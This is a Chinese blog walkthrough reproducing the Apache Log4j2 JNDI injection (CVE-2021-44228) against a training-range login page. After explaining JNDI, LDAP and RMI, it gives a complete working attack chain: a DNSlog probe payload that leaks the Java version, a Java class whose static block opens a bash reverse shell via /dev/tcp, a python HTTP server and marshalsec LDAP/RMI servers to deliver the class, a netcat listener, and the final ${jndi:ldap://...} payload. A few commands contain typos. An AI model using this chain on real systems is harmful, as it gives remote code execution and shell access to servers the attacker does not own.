记一次:Apache Log4j2 漏洞复现(详细过程)
Apache Log4j2漏洞复现及相关知识原理
目录
大概了解过后,接下来就是复现Apache Log4j2 漏洞
Apache Log4j2 漏洞复现
对Apache Log4j2进行漏洞复现,首先需要了解什么是Log4j2以及JNDI、LDAP和RMI、JNDI诸如原理以及LOG4J2的漏洞原理。
Log4j2:
Apache Log4j2是一款Java日志框架,是一个就Java的日志记录工具,用来处理日志信息。
JNDI:
JNDI(java命名和目录接口):他提供一个目录系统,并将服务为名称与对象关联起来(可以理解为一个字典)从 而使得开发人员在开发过程中可以使用目录名称来访问到对应的class对象。JNDI下面有很多目录接口用于不同的数据源的查找引用,其中LDAP/ RMI 就是其中.
简述为:JNDI相当于是JAVA中的一个api,它可以通过命名(目录)来查找数据和对象
LDAP和RMI:
LDAP:(轻量级目录访问协议)目录是由目录数据库和一套访问协议组成的系统。
RMI:远程方法调用。该协议用于远程调用应用程序接口,是客户机上运行的程序可以调用远程服务器上的对象。
JNDI注入原理:
JNDI注入简单来说就是JNDI接口在初始化时,如果Lookuo(xxxx)方法的参数可控,攻击者就可以将传入恶意参 数,通过JDNI去加载恶意的类class,攻击时常用的就是通过RMI和LDAP两种协议。
${jndi:ldap://localhost:9999/Test}
EXP:lookup(${jndi:ldap://localhost:9999/Test})
图解:
Log4j2漏洞原理:
Log4j2提供了Lookup功能模块,因为该模块所导致的问题,Log4j在处理打印程序日志记录时,如果日志中包含${} 时,则会去解析其中的值,例如${java.version} 会被解析为对应的Java版本,攻击可以利用这一点进行JDNI注入, 使用LDAP/RMI协议,从远程服务器上获取恶意的class文件(对象),并在本地加载返回的Class类,造成命令执行 漏洞。
${jndi:ldap://localhost:9999/Test}
大概了解过后,接下来就是复现Apache Log4j2 漏洞
一、启动漏洞环境
两种途径:一种是vulhub:log4j2/CVE-2021-44228 docker-compose启动环境
详情就不再这里叙述了,没有搭建过vulhub环境的直接去参考这位博主的即可:
我这里使用的是在线环境:
封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。 (zkaq.cn)
二、访问靶机
页面只存在一个登录框,没有其他信息以及功能点,那就利用Dnslog外带检测dns回显,测试一下
是否存在漏洞。
既然只存在登录框,那我们就利用登录框来传递参数:
${jndi:ldap://${sys:java.version}.kxeqa4.dnslog.cn}
记得后面替换为你获取到的dnslog。
登录,查看dnslog页面是否有数据带出来
数据存在回显,将java的版本号带出来了,那就说明这里存在漏洞。
三、编写恶意类文件
首先需要在/otp目录下安装java环境(可以在云服务器上进行)
官网链接放这里了,最好是下载linx64,1.8版本的。
详细的安装过程可以去参考这位博主的文章,写的很详细:
Linux 下安装JDK1.8.0完整教程(附带安装包)_jdk1.8下载与安装教程linux-CSDN博客
或者直接拉一个tar包
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linuxx64.tar.gz
我这里在官网直接下载的压缩包(linux系统一定要下载tar包),解压缩
接着创建一个软连接
ln -s /opt/jdk1.8.0_20/bin/java /usr/bin/java8
ln -s /opt/jdk1.8.0_20/bin/javac /usr/bin/java8
记得对一下java的版本号。
到这里基本就可以了,查看一下Java的版本验证是否安装成功。
java8 -version
javac8 -version
安装成功。
可以继续我们的目标,写一个恶意文件Expolit.java,反弹shell到vps(122.51.209.189)的5555端口写入恶意的文件中。
首先,创建Expolit.java类文件,反弹shell到vps(ip为xx.xx.xx.xx)的5555端⼝,因
此对应的bash命令为:
sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1
创建Expolit.java类文件并写入反弹shell的命令
vim Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555
0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
xxx.xxx.xxx.xxx替换为你要弹到shell 的ip地址。
保存退出。
下一步编译java文件,将Exploit.java文件编译为Exploit.class。
javac8.Exploit.java
在class类文件所在的目录中启动http服务
python3 -m http.server
开启LDAP服务
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://xxx.xxx.xxx.xxx:8000/#Exploit" 1389
或者启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://xxx.xxx.xxx.xxx:8000/#Exploit" 8888
开一个服务就好了哈。
四、监听反弹
再开一个vps页面就好了
nc -lvvp 5555
没有nc的yum装一个
yum -y install nc
五、发送payload
${jndi:ldap://xxx.xxx.xxx.xxx/Exploit}
记得替换ip地址
六、查看监听结果
反弹shell成功。
完事。
更多推荐
所有评论(0)